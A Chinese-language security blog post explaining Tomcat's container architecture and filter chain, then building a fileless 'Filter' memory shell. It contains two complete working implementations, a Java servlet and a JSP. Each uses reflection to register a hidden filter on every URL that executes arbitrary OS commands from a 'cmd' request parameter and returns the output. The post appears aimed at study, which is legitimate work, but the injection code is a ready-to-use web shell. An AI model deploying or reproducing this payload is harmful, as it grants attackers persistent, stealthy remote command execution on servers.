Java Filter型 Tomcat内存马

2024-10-04 36 0

参考文章:

https://www.cnblogs.com/nice0e3/p/14622879.html

https://blog.csdn.net/xlgen157387/article/details/79006434

Java Filter型内存马的学习与实践 - zpchcbd - 博客园 (cnblogs.com)

手搓Filter内存马从构造到利用讲解(内存马系列篇一) - FreeBuf网络安全行业门户

一 Tomcat架构

想要了解Tomcat的内存马的实现,必须要了解tomcat整体结构与对消息的处理机制

这是tomcat的顶层结构图

Java Filter型 Tomcat内存马插图

  1. Server组件:Server是最顶级的组件,代表Tomcat运行的实例,在一个JVM中只会包含一个Server。
  2. Service组件:一个Server组件下可以包含多个Service组件,每个Service组件包含多个接收消息的Connector组件和处理请求的Engine组件。其中,不同的Connector组件使用不同的通信协议,如HTTP协议和AJP协议。
  3. Connector:Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
    Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

  4. Engine:Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
  5. Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。

Java Filter型 Tomcat内存马插图1

对于以上我们可以了解到,当一个请求到达tomcat,首先service会交给Connector,Connector用于接收请求并将接收的请求封装为Request和Response来具体处理,Request和Response封装完之后再交由Container进行处理,Container处理完请求之后再返回给Connector,最后在由Connector通过Socket将处理的结果返回给客户端。

而对于Container是如何处理Request和Response的呢,在Connector内部包含了4个子容器,结构图如下:

Java Filter型 Tomcat内存马插图2

处理流程:

Java Filter型 Tomcat内存马插图3

  1. Connector在接收到请求后会首先调用最顶层容器的Pipeline来处理,这里的最顶层容器的Pipeline就是EnginePipeline
  2. 在Engine的管道中依次会执行EngineValve1、EngineValve2等等,最后会执行StandardEngineValve,在StandardEngineValve中会调用Host管道,然后再依次执行Host的HostValve1、HostValve2等,最后在执行StandardHostValve,然后再依次调用Context的管道和Wrapper的管道,最后执行到StandardWrapperValve

  3. 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的Filter和Servlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法,这样请求就得到了处理

最终流程如下:

Java Filter型 Tomcat内存马插图4

Server :
- Service 
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受,处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。
--- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Context: 相当于一个web应用
--- Context:相当于一个web应用
--- Context:相当于一个web应用

二 Filter

1 Filter Demo

可以在上述流程中看到当经过完Wrapper-Pipeline后数据经过 FilterChain,而对于filterchain的的概念

在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链

这个就比较熟悉了,web开发中我们经常构造我们的filter,只有当经过filter后,request才能继续到达servlet

当然,现在我们先完成一个简单的servlet和filter应用,方便接下来的调试

filter:

public class filterDemo implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
                Filter.super.init(filterConfig);
                System.out.println("Filter init");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                System.out.println("Filter doFilter");
                filterChain.doFilter(servletRequest, servletResponse);
                System.out.println("Filter endFilter");
        }

        @Override
        public void destroy() {
                Filter.super.destroy();
        }
}

servlet:

public class webDemo extends HttpServlet {
        public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
                System.out.println("doGet");
                res.getWriter().print("doGet");
        }
        public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException {
                doGet(req, res);
        }
}

web.xml:

<filter>
    <filter-name>filter</filter-name>
    <filter-class>filterDemo</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>filter</filter-name>
    <url-pattern>/demo</url-pattern>
  </filter-mapping>

  <servlet>
    <servlet-name>webdemo</servlet-name>
    <servlet-class>webDemo</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>webdemo</servlet-name>
    <url-pattern>/demo</url-pattern>
  </servlet-mapping>

Java Filter型 Tomcat内存马插图5

2 ServletContext

ServletContext是Servlet规范中的一个对象,它代表了当前Web应用程序的上下文(Context)。这个上下文包括了整个Web应用程序的信息,可以被Web应用中的所有Servlet共享。可以将ServletContext看作是一个全局存储区,用于存储和访问Web应用中的全局数据和资源。

获取ServletContext的两种方法

getServletContext();
getServletConfig().getServletContext();

但是当打印 getServletContext().getClass().getName() 时

Java Filter型 Tomcat内存马插图6

获取到的是ApplicationContextFacade这个对象,说明 ServletContext 其实还是 ApplicationContextFacade对象

3 StandardContext

StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。

三 Filter链分析

如果为了创建一个filter内存马,必须知道filter是如何被创建的,现在尝试找到其中的位置

首先通过调用堆栈可以看到执行的ApplicationFilterChain对象中的internalDoFilter方法和dofilter方法

Java Filter型 Tomcat内存马插图7

首先是ApplicationFilterChain dofilter调用了 internalDoFilter,然后 internalDoFilter 方法中获取了filterDemo

Java Filter型 Tomcat内存马插图8

然后调用了filterDemo的dofilter方法

Java Filter型 Tomcat内存马插图9

也就是我们的filterDemo被 ApplicationFilterChain中internalDoFilter加载并且调用,继续查看ApplicationFilterChain对象的来源。

通过堆栈可以看到tandardWrapperValve对ApplicationFilterChain进行了实例化并且调用了ApplicationFilterChain的dofilter

Java Filter型 Tomcat内存马插图10

StandardWrapperValve中通过 createFilterChain创建了一个过滤链,将request, wrapper, servlet 进行传递

Java Filter型 Tomcat内存马插图11

跟入createFilterChain进行查看,这个方法获取到了 StandardContext 对象,通过 findFilterMaps 获取到context中所有的filter,将filter放入filterMaps数组,当前存在两个filter,第一个为我们的filterDemo,第二个是tomcat默认的

Java Filter型 Tomcat内存马插图12

继续往下调用,遍历每个filterMap中的对象,然后通过matchFiltersURL匹配url的映射关系,匹配通过后,将filter的相关信息存入filterConfig,然后在经过filterChain.addFilter(filterConfig)将filterConfig存至filterChain,即之后调用的ApplicationFilterChain

Java Filter型 Tomcat内存马插图13

现在可以发现,ApplicationFilterChain所做的是调用其内部的filter,而filter创建时又是通过addFilter(filterConfig),所以我们需要的就是获取到当前的ApplicationFilterChain,并且修改filterConfig。查看filterConfig结构,该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef。

Java Filter型 Tomcat内存马插图14

所需要做的事情:

1、获取当前应用的 StandardContext 对象

2、再获取filterConfigs

2、接着实现自定义想要注入的filter对象

4、然后为自定义对象的filter创建一个FilterDef

5、获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加

6、最后把 StandardContext 对象 filter对象 FilterDef全部都设置到 filterConfig ,在filterConfigs中添加 filterConfig

四 filter内存马实现

这里参考大佬文章

手搓Filter内存马从构造到利用讲解(内存马系列篇一) - FreeBuf网络安全行业门户

1 Servlet实现


public class AddTomcatFilter extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String name = "cmdFilter";
//从request中获取ServletContext
ServletContext servletContext = req.getSession().getServletContext();

//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//从StandardContext中获得filterConfigs这个map对象
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

//如果这个过滤器名字没有注册过
if (filterConfigs.get(name) == null) {
//自定义一个Filter对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
PrintWriter writer = resp.getWriter();
String cmd = req.getParameter("cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
try {
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
return;
} catch (NoSuchMethodException | IllegalAccessException |
InvocationTargetException e) {
e.printStackTrace();
}

}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

//创建FilterDef对象 并添加 filter对象,filtername, filter类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//通过addFilterDef方法添加 filterDef 方法
standardContext.addFilterDef(filterDef);

//创建FilterMap对象,并添加 filter映射,filtername
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
//这个不要忘记了
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//通过addFilterMapBefore方法添加filterMap对象
standardContext.addFilterMapBefore(filterMap);

//通过前面获取的filtermaps的put方法放入filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name, filterConfig);

PrintWriter out = resp.getWriter();
out.print("Inject Success !");
}

} catch (Exception e) {
e.printStackTrace();
}

}
}

Java Filter型 Tomcat内存马插图15

Java Filter型 Tomcat内存马插图16

Java Filter型 Tomcat内存马插图17

2 jsp实现

处理逻辑大致相同

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "evil";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }

                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println("doFilter");
            }

            @Override
            public void destroy() {

            }

        };
        
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
    }
%>

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论